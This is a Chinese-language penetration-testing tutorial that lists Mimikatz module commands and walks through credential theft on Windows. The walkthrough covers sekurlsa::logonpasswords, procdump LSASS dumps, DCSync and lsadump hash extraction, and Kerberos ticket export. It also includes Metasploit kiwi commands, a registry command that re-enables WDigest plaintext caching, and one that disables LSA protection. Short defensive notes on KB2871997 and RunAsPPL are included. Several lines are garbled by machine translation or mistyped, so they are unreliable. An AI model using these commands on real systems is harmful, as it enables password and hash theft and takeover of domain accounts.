Mimikatz最全命令详解
简介
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具。
Mimikatz命令
1 exit 退出mimikatz 2 cls 清除屏幕(不用于重定向,如PsExec) 3 answer 生命、宇宙和一切的终极问题的答案 4 coffee 请给我煮杯咖啡! 5 sleep 休眠毫秒数 6 log log模拟文件的输入/输出 7 base64 切换文件输入/输出base64 8 version 显示版本信息 9 cd 更改或显示当前目录 10 localtime 显示系统本地日期和时间(OJ命令) 11 hostname 显示系统本地主机名
模块
standard: 标准模块[基本命令(不需要模块名称)]
crypto: 加密模块
1 providers 列出加密提供者 2 stores 列出加密存储 3 certificates 列出(或导出)证书 4 keys 列出(或导出)密钥容器 5 sc 列出智能卡读卡器 6 hash 使用可选用户名哈希密码 7 system 描述Windows系统证书(文件、TODO 8 scauth 从CA创建身份验证证书(类似智能卡) 9 certtohw 尝试将软件CA导出到加密(虚拟)硬件 10 capi [实验性]补丁CryptoAPI层,便于导出 11 cng [实验性]补丁cng服务,便于导出 12 extract [实验性]从CAPI RSA/AES提供程序提取密钥 13 kutil 14 tpminfo
sekurlsa: Sekur LSA模块[一些用于枚举凭据的命令…
1 msv 列出LM和NTLM凭据 2 wdigest 列出wdigest凭据 3 kerberos 列出kerberos凭据 4 tspkg 列出tspkg凭据 5 livessp 列出livessp凭据 6 cloudap 列出cloudap凭据 7 ssp 列出ssp凭据 8 logonPasswords 列出所有可用的提供商凭据 9 process 切换(或重新输入)到LSASS流程上下文 10 minidump 切换(或重新输入)到LSASS minidump上下文 11 bootkey 设置SecureKernel引导密钥以尝试解密LSA隔离凭据 12 pth 传递散列 13 krbtgt krbtgt! 14 dpapisystem DPAPI_系统机密 15 trust 反社会 16 backupkeys 首选备份主密钥 17 tickets 列出Kerberos票证 18 ekeys 列出Kerberos加密密钥 19 dpapi 列出缓存的主密钥 20 credman 列表凭据管理器
kerberos: Kerberos协议包模块
1 ptt 传票[NT 6] 2 list 列表票证 3 ask 询问或获取TGS门票 4 tgt 检索当前tgt 5 purge 清除票据 6 golden 7 hash 将密码哈希到密钥 8 ptc 通过ccache考试[NT6] 9 clist 在MIT/Heimdall ccache中列出门票
ngc: 下一代加密模块(仅限kiwi使用)[一些用于枚举凭据的命令…]
1 logondata 登录数据 2 pin 尝试解密pin保护器 3 sign 尝试签名 4 decrypt 尝试解密 5 enum 枚举
privilege: 特权模块
1 debug 询问调试权限 2 driver 请求加载驱动程序权限 3 security 请求安全特权 4 tcb 请求tcb特权 5 backup 请求备份权限 6 restore 请求还原权限 7 sysenv 询问系统环境权限 8 id 通过其id请求特权 9 name 通过名称请求特权
process: 进程模块
1 list 列表过程 2 exports 列出导出 3 imports 列出导入 4 start 开始一个过程 5 stop 终止进程 6 suspend 挂起进程 7 resume 恢复进程 8 run 运行 9 runp
service: 服务模块
1 start 启动服务 2 remove 移除服务 3 stop 停止服务 4 suspend 暂停服务 5 resume 恢复服务 6 preshutdown 预停机服务 7 shutdown 关机服务 8 list 列表服务 9 + InstallMe! 10 - InstallMe! 11 me Me!
lsadump: Lsa转储模块
1 sam 获取系统密钥以解密sam条目(来自注册表或配置单元) 2 secrets 获取系统密钥以解密机密项(来自注册表或配置单元) 3 cache 获取系统密钥以解密NL$KM,然后是MSCache(v2)(从注册表或配置单元) 4 lsa 要求lsa服务器检索SAM/AD条目(正常、动态补丁或注入) 5 trust 要求LSA服务器检索信任验证信息(正常或动态补丁) 6 backupkeys 备份键 7 rpdata rpdata 8 dcsync 要求DC同步对象 9 dcshadow 他们告诉我我可以成为任何我想要的人,所以我成为了一名域控制器 10 setntlm 要求服务器为一个用户设置新密码/ntlm 11 changentlm 要求服务器为一个用户设置新密码/ntlm 12 netsync 要求DC发送DC/SRV/WKS的当前和以前的NTLM哈希 13 packages 14 mbc 15 zerologon 16 postzerologon
ts: 终端服务器模块
1 multirdp [实验性]修补终端服务器服务,允许多个用户 2 sessions 会话 3 remote 远程 4 logonpasswords [实验性]尝试从正在运行的会话中获取密码 5 mstsc [实验性]尝试从mstsc进程获取密码
event: 事件模块
1 drop [实验性]修补程序事件服务以避免新事件 2 clear 清除事件日志
misc: 杂项模块
1 cmd 命令提示符(不带DisableCMD) 2 regedit 注册表编辑器(不带禁用注册表工具) 3 taskmgr 任务管理器(不带禁用taskmgr) 4 ncroutemon JUniter网络连接(无路由监视) 5 detours [实验性]尝试使用迂回方式(如挂钩)枚举所有模块 6 memssp 7 skeleton 8 compress 9 lock 10 wp 11 mflt 12 easyntlmchall 13 clip 14 xor 15 aadcookie 16 ngcsign 17 spooler 18 efs 19 printnightmare 20 sccm 21 shadowcopies
token: 令牌操作模块
1 whoami 显示当前标识 2 list 列出系统的所有令牌 3 elevate 模拟令牌 4 run 运行 5 revert 还原到进程令牌
vault: Windows Vault/凭证模块
minesweeper: MineSweeper module
net: net模块
1 user 用户 2 group 组 3 alias 别名 4 session 会话 5 wsession 6 tod 7 stats 统计数据 8 share 9 serverinfo 服务器信息 10 trust 信任 11 deleg 12 if
dpapi: DPAPI模块(通过API或原始访问)[数据保护应用程序编程接口]
1 blob 描述DPAPI blob,使用API或Masterkey取消对其的保护 2 protect 通过DPAPI调用保护数据 3 masterkey 描述主密钥文件,取消对每个主密钥的保护(取决于密钥) 4 credhist 描述credhist文件 5 create 从原始密钥和元数据创建主密钥文件 6 capi capi密钥测试 7 cng cng键测试 8 tpm tpm密钥测试 9 cred cred测试 10 vault 拱顶试验 11 wifi wifi测试 12 wwan wwan测试 13 chrome 铬试验 14 ssh ssh代理注册表缓存 15 rdg rdg保存的密码 16 ps PowerShell凭据(PSCredentials或SecureString) 17 luna 安全网LunaHSM KSP 18 cloudapkd 19 cloudapreg 20 sccm 21 cache
busylight: BusyLight Module
1 list 列表 2 status 状态 3 single 最高级 4 off 关 5 test 测试
sysenv: 系统环境值模块
1 list 列表 2 get 获取 3 set 设置 4 del 删除
sid: 安全标识符模块
1 lookup 名称或SID查找 2 query 根据SID或名称查询对象 3 modify 修改对象的SID 4 add 添加一个SID到一个对象的sIDHistory 5 clear 清除对象的sIDHistory 6 patch 补丁NTDS服务
iis: IIS XML 配置模块
rpc: RPC控制或模拟
1 server 服务器 2 connect 连接 3 close 关闭 4 enum 枚举
sr98: 用于SR98设备和T5577目标的RF模块
1 beep 2 raw 3 b0 4 list 列表 5 hid 隐藏 6 em4100 7 noralsy 8 nedap
rdm: RDM(830AL)器件的射频模块
acr: ACR模块
1 open 开放 2 close 关闭 3 firmware 固件 4 info 信息
抓取明文密码
1. sekurlsa模块
2. kerberos模块
3. lsadump模块
4. WDigest
5. LSA保护
获取高版本Windows系统的密码凭证
1. msf中kiwi模块
2. kiwi模块使用
3. kiwi模块命令
4. creds_all
5. kiwi_cmd
privilege::debug 提升权限,进入调试模式
'mimikatz许多功能都需要管理员权限,如果不是管理员权限不能debug
抓取明文密码
在windows2012以上的系统不能直接获取明文密码了,当可以搭配procdump+mimikatz获取密码。
1. mimikatz #log
2. mimikatz # privilege::debug
3. Privilege '20' OK *提升特权成功
4. mimikatz #sekurlsa::logonpasswords
msv:这项是账户对于的密码的各种加密协议的密文,可以看到有LM、NTLM和SHA1加密的密文
tspkg,wdigest,kerberos:这个就是账户对于的明文密码了。有的时候这三个对于的也不是全部都是一样的,需要看服务器是什么角色。
SSP:是最新登陆到其他RDP终端的账户和密码
抓取明文用到的模块
sekurlsa模块
1. sekurlsa::logonpasswords
抓取用户NTLM哈希
2. sekurlsa::msv
加载dmp文件,并导出其中的明文密码
3. sekurlsa::minidump lsass.dmp
4. sekurlsa::logonpasswords full
导出lsass.exe进程中所有的票据
5. sekurlsa::tickets /export
kerberos模块
1. 列出系统中的票据
1. kerberos::list
1. kerberos::tgt
1.
1. 清除系统中的票据
1. kerberos::purge
1.
1. 导入票据到系统中
1. kerberos::ptc 票据路径
lsadump模块
在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等
1. lsadump::dcsync /domain:kevin.com /user:root
1.
1. (在域控上执行)读取所有域用户的哈希
1. lsadump::lsa /patch
1.
1. 从sam.hive和system.hive文件中获得NTLM Hash
1. lsadump::sam /sam:sam.hive /system:system.hive
1.
1. 从本地SAM文件中读取密码哈希
1. token::elevate
1. lsadump::sam
WDigest
WDigest协议是在WindowsXP中被引入的,旨在与HTTP协议一起用于身份认证。默认情况下,Microsoft在多个版本的Windows(Windows XP-Windows 8.0和Windows Server 2003-Windows Server 2012)中启用了此协议,这意味着纯文本密码存储在LSASS(本地安全授权子系统服务)进程中。 Mimikatz可以与LSASS交互,允许攻击者通过以下命令检索这些凭据
1. mimikatz #privilege::debug
2. mimikatz #sekurlsa::wdigest
在windows2012系统以及以上的系统之后这个默认是关闭的如果在 win2008 之前的系统上打了 KB2871997 补丁,那么就可以去启用或者禁用 WDigest。Windows Server2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。配置如下键值:
1. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential 值设置为 0, WDigest 不把凭证缓存在内存;UseLogonCredential 值设置为 1, WDigest 就把凭证缓存在内存。
使用powershell进行更改
1. 开启Wdigest Auth
2. Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
3. 关闭Wdigest Auth
4. Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProvid
LSA保护
如何防止mimikatz获取一些加密的密文进行PTH攻击呢!其实微软推出的补丁KB2871997是专门针对PTH攻击的补丁,但是如果PID为500的话,还是可以进行PTH攻击的!本地安全权限服务(LSASS)验证用户是否进行本地和远程登录,并实施本地安全策略。 Windows 8.1及更高版本的系统中,Microsoft为LSA提供了额外的保护,以防止不受信任的进程读取内存或代码注入。Windows 8.1之前的系统,攻击者可以执行Mimikatz命令来与LSA交互并检索存储在LSA内存中的明文密码。
这条命令修改键的值为1,即使获取了debug权限吗,也不能直接获取明文密码和hash
1. reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 1 /f
当权限够高时也可以修改,将值修改为0,但是需要重启服务器或注销
1. reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
获取高版本Windows系统的密码凭证
使用procdump将lsass dump下来(需要管理员权限)
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
procdump.exe -accepteula -ma lsass.exe 1.dmp
使用mimikatz读取密码
mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit
msf中kiwi模块
注:kiwi默认加载32位,如果目标系统位64位,将进程迁移到64位程序的进程中。
kiwi模块使用
1. load kiwi //加载kiwi模块
2. help kiwi //查看帮助
kiwi模块命令
1. creds_all:列举所有凭据!!
2. creds_kerberos:列举所有kerberos凭据
3. creds_msv:列举所有msv凭据
4. creds_ssp:列举所有ssp凭据
5. creds_tspkg:列举所有tspkg凭据
6. creds_wdigest:列举所有wdigest凭据
7. dcsync:通过DCSync检索用户帐户信息
8. dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
9. golden_ticket_create:创建黄金票据
10. kerberos_ticket_list:列举kerberos票据
11. kerberos_ticket_purge:清除kerberos票据
12. kerberos_ticket_use:使用kerberos票据
13. kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
14. lsa_dump_sam:dump出lsa的SAM
15. lsa_dump_secrets:dump出lsa的密文
16. password_change:修改密码
17. wifi_list:列出当前用户的wifi配置文件
18. wifi_list_shared:列出共享wifi配置文件/编码
creds_all
列举系统中的明文密码
kiwi_cmd
kiwi_cmd可以使用mimikatz中的所有功能,命令需要接上mimikatz的命令
kikiwi_cmd sekurlsa::logonpasswords